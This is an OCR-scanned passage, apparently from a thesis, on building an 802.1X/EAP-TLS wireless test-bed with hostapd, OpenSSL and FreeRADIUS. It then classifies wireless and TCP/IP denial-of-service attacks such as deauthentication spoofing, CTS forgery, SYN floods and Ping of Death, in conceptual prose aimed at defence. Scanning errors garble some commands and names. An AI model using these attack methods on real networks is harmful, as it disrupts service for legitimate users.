support  the  802.  IX  authenticator  functionality  with  the  following  sequence  of 
commands; 

configure 

make 

make  install 

The  authenticator  supports  bridging  since  the  802. Id  Ethernet  Bridging 

option  was  checked  during  the  kernel  configuration.  Bridging  will  provide 
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communication  between  the  wireless  and  wired  segments  of  the  network.  Otherwise,  the 
authenticator  cannot  relay  the  regular  network  packets  between  the  supplicant  and  the 
network.  There  must  be  two  interfaces  in  the  authentieator;  an  Ethernet  interface  (ethO) 
eonneeting  the  wireless  segment  to  the  wired  network  and  a  Wireless  interface  (wlanO) 
acting  as  an  access  points.  The  following  series  of  commands  are  used  to  establish  the 
bridging  between  the  two  interfaees. 

ifconfig  wlanO  0.0. 0.0 

ifconfig  ethO  0. 0. 0. 0 

brctl  addbr  brO 

bred  addifbrO  ethO 

brctl  addifbrO  wlanO 

ifconfig  brO  XXX.XXX.XXX.XXX  up 

Both  interfaces’  IP  addresses  must  be  set  to  zero  and  assigned  to  the 
bridge  interfaee  as  defined  above.  The  bridge  interface  (brO)  is  a  logical  interface  rather 
than  a  physieal  one  like  ethO  or  wlanO.  The  AP  bridges  paekets  between  the  Ethernet  and 
wireless  LANs  and  ean  be  reached  with  the  IP  address  XXX.XXX.XXX.XXX  from 
either  network.  When  the  AP  reboots,  the  bridging  between  the  interfaees  should  also  be 
reestablished. 

After  installing  all  the  components  and  establishing  the  bridging,  the 
authenticator  was  ready  to  run  the  hostapd  daemon  to  serve  as  an  802.  IX  eompliant 
aceess  point.  The  hostapd  daemon  aeeesses  a  configuration  file  known  as  hostapd.conf  to 
retrieve  the  parameters  of  the  wireless  network.  Appendix  C  provides  an  example  of  this 
configuration  file.  The  hostapd  daemon  is  launehed  with  the  following  command 
sequence. 

cd  /usr/src/hostap/hostapd 
.  /hostapd -d  hostapd.conf 

(2)  D-Link  DWL  7000AP:  Sinee  this  Aceess  point  supports  the 
802.  IX  authentieation  protoeol,  it  is  ehosen  to  be  used  as  the  authentieator  of  the  test- 
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bed.  The  eonfiguration  of  the  aeeess  point  was  simple  sinee  it  has  a  web-based 
eonfiguration  tool.  Appendix  C  explains  and  illustrates  the  eonfiguration  of  DWL- 
7000AP. 

c.  Authentication  Server 

Since  FreeRADIUS  (http://www.freeradius.org/)  is  the  only  available 
open-source  authentication  server  tool  that  supports  Linux,  it  was  used  by  the  test-bed  for 
this  thesis.  FreeRADIUS  supports  the  EAP-TLS  authentication  method  as  an  embedded 
module. 

One  of  the  latest  versions  of  the  Red  Hat  Linux  (Red  Hat  8.0)  was  used  as 
the  operating  system  for  the  authentication  server.  The  newer  versions  of  FreeRADIUS 
are  compatible  with  Linux  Red  Hat  8.0.  In  order  to  run  the  FreeRADIUS  server  on  Linux 
Red  Hat  8.0,  the  following  software  should  be  downloaded  and  installed. 

•  OPENSSL  0.9.7 

•  OPENSSL  SNAP-20020227 

•  OPENSSL  0.9.7-beta3 

•  EREERADIUS-0.9.2 

Three  different  versions  of  the  OpenSSL  are  needed  throughout  the  whole 
process.  The  stable  version  of  OpenSSL  (OPENSSL  0.9.7)  is  required  to  build  most  of 
the  EreeRADIUS  software.  A  recent  snapshot  version  of  OpenSSL  (OPENSSL  SNAP- 
20020227)  is  required  to  build  the  EAP/TLS  modules.  OpenSSL  0.9.7-beta3  is  the  third 
version  of  the  OpenSSL,  which  is  used  to  create  the  certificates. 

The  other  open-source  software  package  that  must  be  installed  is 
FreeRADIUS-0.9.2.  After  successfully  installing  all  of  the  software,  the  Linux  computer 
becomes  the  authentication  server  of  the  test-bed.  The  installation  procedures  of  the 
necessary  software  come  with  the  downloadable  tarball.  The  following  paragraphs 
emphasize  the  important  details  of  the  installation  process. 

(1)  OPENSSL  0.9.7:  OpenSSL  0.9.7  (http://www.openssl. 

qrg)  is  used  for  building  EreeRADIUS.  After  downloading  and  uncompressing  the 
tarball,  the  following  sequence  of  commands  is  used  to  build  the  software. 

cd  openssl-0.9. 7 
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.  /config 
make 
make  test 
make  install 

These  eommands  build  and  install  the  OpenSSL-0.9.7  in  the 
default  loeation,  whieh  is  /usr/local/ssl  for  Linux  Red  Hat  8.0.  For  the  test-bed,  the 
default  loeation  was  used. 

(2)  OPENSSL  SNAP -20020227:  The  snapshot  version  of  the 
OpenSSL  is  used  to  load  the  EAP-TLS  module  in  the  EreeRADIUS  souree  eode.  After 
downloading  and  uneompressing  the  OPENSSE  SNAP-20020227  tarball,  the  souree  eode 
was  built  and  installed  by  using  the  commands  below: 

.  /config  -prefix=/usr/local/openssl  shared 

make 

make  test 

make  install 

One  of  the  most  important  parts  of  this  installation  is  paying 
attention  where  the  software  is  installed.  If  the  config  command  was  used  without  any 
switches,  this  version  of  OpenSSE  would  be  installed  to  the  default  location  and 
overwrite  the  stable  version  previously  installed. 

The  final  part  of  the  installation  is  checking  and  verifying  that 
libssl.so  and  libssl.so.O  are  symbolically  linked  to  libssl.so.0.9.8  while  libcrypto.so  and 
libcrypto.so.O  are  symbolically  linked  to  librypto.so.0.9.8.  These  fdes  can  be  found  under 
the  lib  directory  of  the  snapshot  version  of  OpenSSE. 

(3)  OPENSSE  0.9.7-beta3:  This  version  of  the  OpenSSE  is 
necessary  to  generate  the  certificates  used  by  the  wireless  network.  This  software  can  be 
installed  on  another  computer  and  the  certificates  can  be  generated  in  a  more  secure 
location  in  real-life  applications.  However,  to  keep  the  process  simple,  the  authentication 
server  computer  was  used  as  the  certificate  generator  as  well.  After  downloading  and 
uncompressing  the  software,  the  following  commands  were  used  to  install  this  version  of 
OpenSSE: 

.  /config  -prefix=/usr/local/openssl-certgen  shared 
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make 
make  test 
make  install 

The  final  step  of  the  installation  is  cheeking  and  verifying  the  same 
sym  links  of  the  specific  lib  files,  which  were  mentioned  in  the  installation  of  the  SNAP 
version.  These  files  can  be  found  under  the  lib  directory  of  the  beta  version  of  OpenSSL. 
Appendix  A  provides  the  OpenSSL  configuration  file  for  the  certificate  generator. 

(4)  FREERADIUS-0.9.2:  The  latest  version  of  EreeRADIUS 
(EreeRADIUS  0.9.2)  modules  were  downloaded  and  uncompressed  into  the 
/root/downloads  directory.  The  EreeRADIUS  source  code  was  configured  before  building 
by  using  the  commands  below: 

cd  /root/downloads/freeradius-0. 9.2 
.  /configure  -sysconfdir=/etc 

The  configuration  script  prepares  the  makefile  to  build  the  source 
code.  The  OpenSSE  version  that  will  be  used  to  create  the  EAP-TLS  modules  is  different 
than  the  default  OpenSSE,  the  EAP-TES  makefile,  which  was  placed  in 
/root/downloads/freeradius-0. 9.2/src/modules/rlm_eap/types/rlm_eap_tls/  directory,  was 
modified  as  defined  in  Appendix  D.  After  modifying  the  makefile,  the  EreeRADIUS  can 
be  installed  by  using  the  following  commands: 

make 

make  install 

After  building  and  installing  the  EreeRADIUS  software,  the 
configuration  files  of  the  radius  server  should  be  modified  to  enable  the  802.  IX 
authentication  scheme.  There  are  three  configuration  files  that  should  be  modified: 
radiusd.conf,  users,  and  clients.conf.  The  radiusd.confi  file  is  modified  to  make  EAP-TLS 
work  properly.  The  users  file  is  modified  to  include  pointers  to  client  certificates.  The 
clients.conf  is  modified  to  allow  access  to  the  access  points  of  the  wireless  network  to 
request  authentication.  A  test  user  may  also  be  temporarily  added  to  the  users  file  to 
check  the  functionality  of  the  authentication  server  without  using  the  other  components. 
Appendix  D  provides  a  copy  of  all  three  configuration  files. 
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For  the  session-key  management,  two  random  files  must  be 
ereated.  These  files  only  need  to  eontain  random  eharaeters.  For  this  particular  occasion, 
the  date  command  was  used  to  create  these  two  random  files. 
date  >  /etc/lx/random 
date  >  /etc/lx/DH 

If  everything  has  been  installed  and  configured  correctly,  the 
FreeRADIUS  should  be  ready  to  run  and  to  authenticate  the  legitimate  users  via  the  EAP- 
TLS.  A  wrapper  script  is  created  to  run  FreeRADIUS  with  the  correct  SSL  libraries  of  the 
OpenSSL  snapshot  version.  Appendix  D  provides  a  copy  of  this  script  (mn-radiusd). 

The  FreeRADIUS  may  be  run  from  the  shell  by  typing  run-radiusd 
-X  -A.  (This  runs  the  script  that  is  mentioned  in  the  preceding  paragraph).  After  seeing 
that  the  server  is  running  correctly  and  listening  for  requests,  the  test  user  can  be 
employed  to  test  the  server.  If  the  result  of  the  test  is  good  and  an  “Access-Accepf’ 
message  is  returned,  then  the  server  is  running  well  and  the  test  user  may  be  deleted. 

4.  EAP-TLS  Authentication  Method 

This  section  discusses  the  Extensible  Authentication  Protocol  Transport  Layer 
Security  (EAP-TLS)  briefly  since  EAP-TLS  protocol  was  examined  in  [1]  in  detail. 

EAP-TLS  authentication  is  based  on  the  802.1X/EAP  architecture.  The  three 
entities  involved  in  the  802.1X/EAP  authentication  process  are  supplicant  (the  end 
entity),  the  authenticator  (the  access  point),  and  the  authentication  server  (RADIUS 
server).  The  supplicant  and  the  RADIUS  server  must  support  EAP-TLS  authentication. 
The  access  point  must  support  the  802.IX/EAP  authentication  process.  Eor  example,  a 
Cisco  Aironet  access  point  that  supports  the  EAP-TLS  authentication  protocol  can  be 
used  in  the  802.  IX  test-bed. 

The  802.  IX  test-bed  requires  the  EAP-TLS  authentication  protocol  for  mutual 
authentication  and  key  exchange  between  the  entities.  EAP-TLS  (REC-2716)  uses  the 
TLS  protocol  (REC-2246),  which  is  the  latest  version  of  the  Secure  Socket  Layer  (SSL) 
protocol.  TLS  provides  a  mechanism  for  both  user  and  server  authentication  and  for 
dynamic  session  key  generation  in  order  to  use  certificates.  Ligure  10  illustrates  the 
general  schema  for  a  message  exchange  between  the  entities. 
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Figure  10.  EAP-TLS  Message  Exehange  (Erom  Ref.  15) 

5.  X,509v3  Certificates 

The  EAP-TLS  authentieation  method  is  eertifieate-based.  This  method  uses 
X.509v3  eertifieates,  whieh  ean  be  generated  by  using  the  OpenSSL  software.  Appendix 
A  eovers  the  OpenSSL  eonfiguration  file  of  the  eertifieate  generator. 

X.509v3  eertifieates  eontain  the  publie  key  of  the  supplieant  with  some  additional 
information.  The  eertifieates  are  ereated  for  the  Root  Certifieate  Authority,  authentieation 
server  and  the  supplieant.  The  Root  CA  eertifieate  is  ereated  first;  the  other  eertifieates 
are  digitally  signed  by  the  private  key  of  the  CA. 

Three  eertifieate  generation  seripts  will  be  used  to  ereate  all  the  neeessary 
eertifieates.  Appendix  B  provides  a  eopy  of  all  three  eertifieate  generation  seripts  with  an 
XP  speeific  extension  file  that  is  neeessary  to  generate  a  eertifieate.  One  of  the  most 
important  requirements  when  ereating  the  eertifieates  is  to  verily  that  the  elient  name  on 
the  eertifieate  matehes  the  names  in  the  users  eonfiguration  file.  Another  eritieal  point  is 
to  assign  a  password  that  is  different  from  the  default  password  (default  is  “whatever”) 
during  the  eertifieate  generation  proeess. 
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The  first  certificate  to  be  generated  is  the  root  certificate.  This  certificate  will  be 
used  to  sign  the  other  two  certificates.  So  the  generation  sequence  will  be  as  follows: 

./CA.root 

./CA.srv  <servername> 

./CA.clt  <dientname> 

After  all  three  scripts  are  run,  the  folder  will  contain  12  different  certificates.  The 
extensions  of  the  certificates  will  be  “.pi 2,  .der,  .pern”.  The  two  certificates  that  will  be 
used  by  the  FreeRADIUS  are  <servername> .pem  and  rootpem.  The  WinXP  supplicant 
client  requires  <dientname>pl2  and  root. der.  So  those  two  certificates  should  be  copied 
to  the  supplicant  and  installed.  The  details  of  the  certificate  generation  process  can  be 
found  on  the  following  web  sites: 

http://www.impossiblereflex.eom/8021x/eap-tls-HOWTO.htm 

http://  www.missl.cs.umd.edu/  wireless/eaptls/ 

6,  Validation 

After  installing  all  the  software  to  run  the  test-bed,  the  system  was  tested  by  using 
a  packet  capture  software  called  Ethereal  (www.ethereal.com).  Ethereal  captures  all  the 
network  traffic.  The  user  may  select  the  network  adapter  to  filter  the  traffic.  Two  laptops 
were  used  in  the  validation  process.  One  of  the  laptops  (Dell  Insiron-5100)  was 
configured  to  capture  the  wireless  packets  in  promiscuous  mode  with  Ethereal.  The  other 
laptop  (HP  Compaq  pavilion  Ze5400)  was  used  as  the  supplicant. 

The  client  certificates  were  installed  on  the  supplicant,  and  the  wireless  card  was 
enabled  to  initiate  the  authentication  process.  All  the  traffic  concerning  the  authentication 
process  was  captured  by  Ethereal  which  was  running  on  the  other  laptop.  The  packets 
captured  by  Ethereal,  shown  in  Eigure  11,  verified  a  successful  authentication  process. 
Appendix  E  provides  the  successful  logs  of  both  the  authentication  server  and  the 
authenticator. 
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Figure  1 1 .  Captured  Paekets  showing  a  suecessful  authentieation 


31 


THIS  PAGE  INTENTIONALLY  LEET  BLANK 


32 


IV.  A  TAXONOMY  OF  THE  DENIAL  OF  SERVICE  ATTACKS 


A,  INTRODUCTION 

DoS  attacks  can  be  classified  in  many  different  ways  based  on  attaek  dynamics 
and  the  eonsequenees.  This  chapter  presents  a  taxonomy  of  DoS  attaeks  based  on  the 
types  of  system  flaws  exploited  by  the  attackers. 

Typically,  security  threats  are  evaluated  with  respect  to  a  particular  protocol 
(application).  Similarly,  the  DoS  attaeks  can  be  elassified  into  two  main  eategories: 
attacks  on  the  host  operating  system  (OS)  or  network  infrastrueture  and  attacks  that 
exploit  specific  weaknesses  of  the  target  protocol.  The  first  category  of  attacks  arise  from 
implementation  flaws  of  the  network  or  the  improper  usage  of  the  operating  system  and 
network  components  including  bandwidth,  buffers,  and  the  TCP/IP  stack.  The  second 
category  of  attacks  exploits  the  vulnerabilities  in  the  protocols  to  prevent  the  victim  from 
using  the  network  resourees. 


DoS  Classification  I 


Figure  12.  Taxonomy  of  DoS  Attacks 


These  main  categories  are  branched  into  the  sub-categories  to  discuss  the  attacks 
based  on  the  speeifie  flaws  in  detail.  OS/Network-based  DoS  attacks  are  divided  into 
resouree  exhaustion  and  software  exploits  sub-categories.  Protoeol  weakness  ineludes 
deauthentication,  disassociation,  and  software  exploits  sub-eategories.  Sinee  the  software 
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exploit  DoS  attacks  can  be  part  of  the  operating  system  or  the  protocol,  both  these  main 
categories  share  the  software  exploit  subcategory.  The  characteristics  of  each  sub¬ 
category  will  be  explained  in  following  sections.  Figure  12  illustrates  the  taxonomy 
resulting  from  the  general  classification  framework. 

Since  it  is  difficult  to  find  a  solution  to  many  different  types  of  DoS  attack,  this 
classification  framework  will  help  us  to  generalize  the  solutions  for  each  category.  When 
a  new  DoS  attack  is  encountered,  the  specification  of  this  attack  can  easily  be  identified 
with  this  schema. 

B,  PROTOCOL  WEAKNESESS  DENIAL  OF  SERVICE  ATTACKS 

The  protocols  used  in  wireless  networks  such  as  802.11  and  802.  IX  are  severely 
flawed.  Well-known  vulnerabilities  of  the  authentication  phase  and  a  lack  of  authenticity 
verification  of  the  management  and  control  frames  allow  for  DoS  attacks.  The  attackers 
take  advantage  of  the  improper  design  of  the  protocol  or  lack  of  security  mechanisms  to 
launch  this  type  of  attack.  Protocol  weakness  DoS  attacks  are  divided  into  two  sub¬ 
categories:  Disassociation  and  Deauthentication  DoS  attacks.  The  characteristics  of  each 
sub-category  will  be  discussed  in  the  following  section. 

1,  Deauthentication  DoS  Attacks 

The  clients  in  wireless  networks  need  to  authenticate  and  associate  themselves 
with  the  AP  in  order  to  receive  the  network  connectivity.  The  frames  used  during  the 
authentication  process  are  not  encrypted.  The  confidentiality  and  integrity  of  these 
management  frames  are  questionable.  During  the  authentication  phase,  the  attacker  can 
spoof  these  frames  to  launch  the  DoS  attacks. 

There  are  three  different  authentication  mechanisms  in  wireless  networks,  but 
open-system  and  shared-key  authentication  mechanisms  share  the  same  characteristics  in 
DoS  attacks.  So  DoS  attacks  based  on  the  authentication  flaws  can  be  divided  into  two 
groups:  shared-key  and  802.  IX  DoS  attacks. 

DoS  Attacks  in  Shared-Key  Mechanism:  An  802.11  client  must  authenticate 
itself  to  the  AP  in  order  to  initiate  the  communication  between  the  client  and  network. 
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Either  the  client  or  the  AP  can  request  deauthentication  from  the  other  to  end  the 
communication. 

An  attacker  takes  advantage  of  this  vulnerability  to  launch  the  deauthentication 
DoS  attack.  The  attacker  can  easily  spoof  this  message,  pretending  to  be  an  access  point 
or  a  client  and  send  this  message  to  the  victim.  The  victim,  either  the  client  or  the  access 
point,  will  enter  the  deauthentication  phase  and  stop  the  communication  until  the 
authentication  is  reestablished.  The  attacker  can  launch  this  attack  repeatedly  and  prevent 
the  victim  from  transmitting  or  receiving  data.  Figure  13  shows  a  Deauthentication  attack 
message  sequence. 


Client  Attacker  AP 


Figure  13.  Deauthentication  DoS  Attacks  in  Shared-key  Mechanism  (From  Ref  9) 

DoS  Attacks  in  802.1X  Mechanism:  The  deauthentication  DoS  attacks  launched 
in  WFANs  that  use  802.  IX  authentication  protocol  are  based  on  EAPOF  Fogoff  or  EAP 
Failure  packets.  The  attacker  spoofs  the  client’s  MAC  address  and  sends  the  EAPOF 
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Logoff  packet  to  the  AP.  Subsequently,  the  AP  will  terminate  the  connection  with  its 
authenticated  client. 

When  a  legitimate  client  is  in  the  process  of  authentieation,  the  attacker  can  send 
the  LAP  Failure  paeket  to  the  AP  spooling  the  vietim’s  MAC  address.  This  paeket  will 
cause  the  AP  to  terminate  the  legitimate  client’s  authentication  process.  The  attaeker 
must  cateh  the  victim  during  the  authentieation  process.  The  attacker  can  use  passive 
packet  sniffer  programs  to  capture  the  association  response  frame,  whieh  indicates  the 
beginning  of  the  authentication  phase. 

2.  Disassociation  DoS  Attacks 

This  type  of  DoS  attacks  prevents  any  connection  between  the  user  and  services 
from  being  established  even  though  resources  are  available.  The  result  is  disruption  of  the 
communication.  The  victim  system  is  denied  from  using  the  services  until  it  reassociates 
with  the  serviees.  This  sub-eategory  includes  disassoeiation  and  power  saving  DoS 
attacks. 

Power  Saving  DoS  Attack:  The  802.11  protoeol  has  a  power  conservation 
functionality.  The  elients  ean  enter  the  sleep  mode  after  they  send  the  message  to  the  AP 
to  aetivate  the  sleep  mode.  During  this  phase,  the  clients  eannot  reeeive  or  transmit  data 
through  the  AP.  The  AP  buffers  all  ineoming  traffic  for  the  sleeping  client.  After  the 
client  returns  to  normal  mode,  it  sends  a  polling  message  to  the  AP  for  the  pending 
traffic.  If  there  is  any  traffic  in  the  buffer  for  the  elient,  then  the  AP  will  deliver  the  data 
to  the  elient  and  discard  its  buffer. 

Since  the  polling  message  is  not  authenticated  with  any  keying  material,  the 
attaeker  can  easily  spoof  this  message  and  cause  the  AP  to  diseard  the  client’s  pending 
traffie  while  it  is  in  sleep  mode.  On  the  other  hand,  the  AP  periodieally  broadcasts  a 
packet  known  as  a  Traffie  Indieation  Map  (TIM).  The  TIM  paeket  indicates  the  presence 
of  the  buffered  data  for  the  elient.  If  the  attaeker  spoofs  this  packet,  then  the  elient  can  be 
convinced  that  there  is  no  pending  data  for  itself.  These  are  the  two  variations  of  the 
Power  Saving  DoS  attacks  in  wireless  networks.  [9] 
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Disassociation  DoS  Attack:  The  attacker  can  exploit  a  similar  vulnerability  as 
with  the  deauthentication  DoS  attack  in  the  association  phase.  A  client  can  authenticate 
itself  with  many  of  the  APs  but  it  must  associate  with  only  one  of  the  APs  which  is 
responsible  for  forwarding  and  receiving  the  client’s  packets.  The  802.11  protocol 
specifies  a  disassociation  message,  which  allows  the  client  to  switch  between  the 
available  APs.  An  attacker  can  spoof  the  legitimate  AP  MAC  address  and  send  a 
disassociate  message  to  the  clients.  The  client  then  must  reassociate  with  the  AP  to  send 
and  to  receive  the  data.  This  attack  method  is  less  efficient  than  the  deauthentication  DoS 
attacks  since  it  requires  less  work  to  return  to  the  associated  state. 

C.  OS/NETWORK  DENIAL  OF  SERVICE  ATTACKS 

Operating  system  and  network  vulnerabilities  make  attacks  of  this  category 
possible.  Sometimes  the  attacker  subverts  the  expected  behavior  of  the  system  into  well- 
designed  attacks  since  the  implementation  of  the  OS  or  network  is  flawed.  This  category 
includes  the  resource  exhaustion  and  implementation  DoS  attack  sub-categories. 

1,  Resource  Exhaustion  DoS  Attacks 

A  resource  exhaustion  attack  directs  a  flood  of  packets  to  the  victim  aimed  at 
overwhelming  a  certain  system  resource  of  the  victim.  Most  “flooding  attacks” 
mentioned  in  the  literature  belong  to  this  category.  The  target  system  resources  include 
network  bandwidth,  frequency  spectrum,  disk  space,  host  memory  and  CPU  availability. 
This  category  is  a  well-known  DoS  attack  type  against  popular  web  sites  since  it  does  not 
require  sophisticated  methods. 

The  attacker  takes  advantage  of  the  expected  behavior  of  the  protocols  to  bring 
down  the  victim’s  system.  For  example,  a  three-way  handshake  is  the  first  step  in 
requesting  a  web  page.  The  attacker  can  send  excessive  packets  that  the  victim  cannot 
handle  by  consuming  the  limited  connection  queue.  So  the  victim’s  server  cannot  respond 
to  the  legitimate  client’s  requests.  The  difference  between  this  category  and  the  others  is 
the  rate  at  which  the  attacker  what  he  does,  not  what  he  does. 

Most  of  today’s  computers  with  high  power  CPU  and  memory  can  handle  the 
resource  exhaustion  DoS  attacks  from  one  target.  However,  with  the  continued 
development  of  computer  hardware  and  security  tools,  the  DoS  attacks  became  more 
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sophisticated.  The  attaekers  can  use  more  than  one  eomputer  to  launeh  a  combination  of 
DoS  attacks,  known  as  Distributed  Denial  of  Service  (DDoS)  attacks.  In  these  attacks  the 
attaeker  launches  resouree  exhaustion  attacks  using  the  combined  power  of  many  hosts  to 
exhaust  the  resources  of  a  vietim.  Frequency  bandwidth,  virtual  carrier-sense,  association 
flood,  SYN  flood,  and  UDP  flood  attacks  are  examples  of  this  category.  These  examples 
will  be  discussed  briefly. 

SYN  Flood  Attack:  In  a  legitimate  TCP  connection  establishment,  a  source  host 
sends  a  SYN  (synchronize/start)  paeket  to  a  destination  host.  The  destination  host 
responds  with  a  SYN  ACK  (synchronize  acknowledge)  packet.  The  destination  host  must 
reeeive  an  ACK  (acknowledgement)  paeket  before  the  connection  is  established.  These 
exehanged  paekets  set  up  the  receive  and  send  windows  for  eaeh  participant.  This  is 
known  as  the  “TCP  three-way  handshake.” 

Sender  Reeeiver 


Figure  14.  Syn  Flood  DoS  Attack 

In  this  attack  type,  the  attacker  sends  SYN  packets  to  the  victim  with  the  incorrect 
source  IP  addresses.  The  vietim  machine  will  send  back  SYN  ACK  packets  to  a 
nonexistent  system  in  order  to  complete  the  three-way  handshake.  The  vietim  machine 
will  never  reeeive  the  expected  ACK  packets.  While  the  victim  machine  is  waiting  for  the 
ACK  packet,  the  limited-size  conneetion  queue  will  keep  track  of  all  uncompleted 
connections.  The  attaeker  generates  SYN  packets  with  fake  IP  addresses  at  a  rapid  rate 
and  fills  up  the  vietim’ s  queue.  The  victim’s  resources  are  flooded  and  consumed  by  new 
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connection  requests.  The  flood  of  malicious  SYN  packets  prevents  the  victim  from 
responding  to  legitimate  requests.  Figure  14  shows  the  Syn  Flood  DoS  attack. 

UDP  Flood  Attack:  The  UDP  protocol  is  a  connectionless,  unreliable  protocol 
which  does  not  require  a  three-way  handshake  negotiation  between  the  client  and  the 
server.  The  UDP  Flood  attack  uses  UDP  echo  and  character  generator  (chargen)  services. 
These  services  generate  a  series  of  characters  for  testing  network  programs.  The  attacker 
forges  UDP  packets  to  initiate  communications  between  these  services.  While  they  are 
sending  and  receiving  a  flood  of  useless  characters,  the  two  services  consume  all  the 
bandwidth  between  the  machines. 

Frequency  Bandwidth  Attack:  The  802.11  networks  use  radio  signals  as  the 
physical  medium.  Since  the  medium  is  shared  by  all  potential  users,  an  attacker  who 
knows  the  frequency  band  can  launch  a  DoS  attack  using  very  strong  radio  signals  to 
disrupt  the  network.  The  attacker  uses  a  powerful  radio  transmitter  or  signal  generator  to 
saturate  the  802.11  frequency  band  with  noise.  Since  the  Signal-to-Noise  Ratio  (SNR) 
reduces  to  an  unusable  level,  this  type  of  attack  will  decrease  the  efficiency  of  the 
network  or  prevent  the  clients  from  accessing  the  network. 

The  use  of  powerful  radio  signals  at  a  close  range  is  a  risky  attack.  If  the  attacker 
uses  the  directional  antenna  instead  of  an  omni-directional  antenna  for  this  attack,  then 
the  administrator  of  the  network  can  easily  detect  the  attacker’s  location  using  special 
network  tools,  such  as  AirMagnet. 

It  is  worth  noting  that  cordless  phones,  microwaves,  and  many  of  the  Bluetooth 
devices  that  use  2.4GHz  frequency  band  may  cause  this  type  of  DoS  attack 
unintentionally  and  disrupt  802.1b  wireless  networks. 

Virtual  Carrier-Based  DoS  Attacks:  A  virtual  carrier-sense  mechanism  is 
designed  to  prevent  a  collision  with  mobile  stations  that  are  not  within  range  of  the 
transmitting  station  but  are  within  range  of  the  AP.  This  mechanism  was  discussed  in 
Chapter  11  in  detail.  The  control  frames  are  sent  in  the  clear  between  the  clients  and  APs. 
The  attacker  can  exploit  this  vulnerability  and  mount  DoS  attacks  by  spooling  one  of 
these  control  frames. 
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The  clear-to-send  (CTS)  DoS  attack  uses  a  weakness  in  the  media  access  control  in 
wireless  networks.  The  CTS  frames,  sent  in  response  to  a  request-to-send  (RTS)  frame, 
indicate  that  the  channel  is  free  and  the  receiving  end  is  ready  to  receive  the  data  packets. 
The  transmitting  station  sends  the  RTS  after  waiting  for  the  random  back-off  time 
following  the  DIFS  period.  If  the  medium  is  still  available  and  the  Network  Allocation 
Vector  (NAV)  reaches  zero,  then  it  will  send  the  RTS  frame  to  the  AP  requesting  the 
reservation  of  the  medium  for  a  period  of  time.  The  AP  will  respond  to  the  clients, 
including  the  nodes  within  the  AP’s  transmission  range  but  beyond  the  requesting  client’s 
range  (“hidden  nodes”),  with  the  CTS  frame  announcing  the  reservation  of  the  medium 
for  a  period  of  time.  The  nodes  that  receive  RTS  or  CTS  frames  must  defer  their 
transmissions  until  after  receiving  the  intended  destination’s  final  acknowledgment 
frame. 

An  attacker  can  launch  the  DoS  attack  by  sending  the  forged  CTS  frames  at  a 
specific  time  interval.  The  stations  that  receive  the  CTS  frames  will  update  their  NAV 
table  with  the  value  in  the  duration  field  of  the  CTS  packet  received.  The  attacker  will 
send  the  CTS  frames  just  before  its  NAV  value  reaches  zero.  The  legitimate  clients  will 
be  blocked  even  though  the  medium  is  available.  The  attacker  does  not  need  a  valid  MAC 
address  to  launch  this  type  of  DoS  attack.  These  attacks  can  be  launched  using  either  RTS 
or  ACK  frames  since  they  allow  the  modification  of  the  NAV  table  using  the  duration 
field  of  these  frames. 

Distributed  Syn  Flood  Attacks:  This  attack  differs  from  the  SYN  Flood  by  using 
more  than  one  computer  to  launch  the  attack.  The  main  concept  for  this  attack  is  to  create 
a  flood  effect  on  the  victim’s  machine  using  widely  distributed  computers.  The  attacker 
will  install  the  remote  attack  programs  on  weakly  protected  computers  using  available 
hacking  tools.  Finally,  the  attacker  organizes  the  attack  from  these  remote  computers  at 
the  same  time. 

This  huge  flood  effect  consumes  the  victim’s  resources  and  connection 
bandwidth.  The  attackers  usually  launch  this  type  of  attack,  which  requires  considerable 
effort,  against  big  companies’  servers.  The  servers  become  cut  off  from  the  Internet  and 
are  incapable  of  providing  services.  [7] 
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2,  Software  Exploit  DoS  Attacks 

In  software  exploits,  the  attaeker  sends  a  few  paekets  to  exereise  specifie  software 
bugs  within  the  target’s  OS  or  application,  thereby  disabling  the  victim.  [11]  These 
vulnerabilities  are  the  result  of  programming  or  design  flaws.  When  the  vulnerable 
system  receives  an  unexpected  packet  from  the  attacker,  exceptional  conditions  occur. 
The  attacker  exploits  implementation  flaws  in  the  service  being  attacked  and  makes  the 
victim’s  system  crash  by  sending  a  single  or  a  few  packets. 

The  DoS  attacks  against  TCP/IP  implementation  flaws  are  also  classified  in  this 
category.  “Land  attack,”  “Ping-of-Death,”  and  many  buffer  overflow  attacks  are 
examples  of  this  category.  Since  the  attack’s  characteristics  are  not  expected  behavior  of 
the  legitimate  user,  implementation-based  DoS  attacks  can  easily  be  detected.  This  type 
of  DoS  attack  can  be  prevented  by  fixing  bugs,  applying  patches,  and  filtering  the 
malformed  packets. 

Teardrop  Attack:  TCP/IP  protocol  divides  large  IP  packets  into  smaller  fragments 
to  send  over  limited  capacity  lines.  The  receiving  end  will  reconstruct  these  fragments 
according  to  IP  packet  header  fields,  such  as  the  fragment  offset  and  packet  ID.  All  the 
fragments  of  the  same  IP  packet  carry  the  same  packet  ID  field. 

The  Teardrop  attack  takes  advantage  of  the  lack  of  bounds  checking  in  the  whole 
fragmentation  and  reassembly  process.  The  attacker  sends  fragments  with  offsets  that  do 
not  align  by  manipulating  a  field  in  TCP/IP  packets,  called  a  “fragment  offset.”  This 
makes  reassembly  of  all  the  packets  impossible  since  the  positions  overlap.  This 
vulnerability  in  the  TCP/IP  stack  cannot  be  handled  properly  by  certain  operating 
systems.  The  victim  will  stop  the  communication  until  the  system  is  restarted.  It  is 
possible  that  unsaved  data  in  applications  open  at  the  time  of  attack  will  be  lost.  [6] 

Land  Attack:  The  Land  attack  occurs  when  an  attacker  sends  an  SYN  packet  with 
the  same  source  and  destination  IP  addresses.  In  this  way,  the  attacker  tries  to  get  the 
targeted  host  to  establish  TCP  sessions  with  itself,  making  its  services  unavailable  to 
other  legitimate  hosts. 
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Ping  of  Death  Attack:  the  Ping  of  Death  is  an  attempt  by  an  attacker  to  crash  or 
freeze  a  system  by  sending  an  illegal  ICMP  packet  to  the  victim.  The  Ping  command  is 
used  with  a  small  payload  to  provide  a  fast,  low  bandwidth  test  of  connectivity. 

The  maximum  packet  size  is  65536  bytes  in  TCP/IP  protocol.  Packets  exceeding 
this  size  limit  can  cause  the  victim’s  system  to  crash.  First,  the  attacker  issues  a  ping 
command  to  see  if  the  victim  system  responses.  The  ICMP  packet  is  sent  in  the  form  of  a 
fragmented  message.  When  the  packet  is  reassembled,  the  size  of  the  packet  will  be 
larger  than  the  maximum  legal  IP  packet  size.  Some  operating  systems  cannot  handle  an 
oversized  ICMP  echo-request  packet.  They  generate  an  exception  and  halt 
communication  on  the  network.  [6] 

D.  SUMMARY 

This  chapter  presents  a  classification  schema  for  DoS  attacks  based  on  the  types 
of  system  or  protocol  weaknesses  exploited.  This  schema  includes  two  main  categories: 
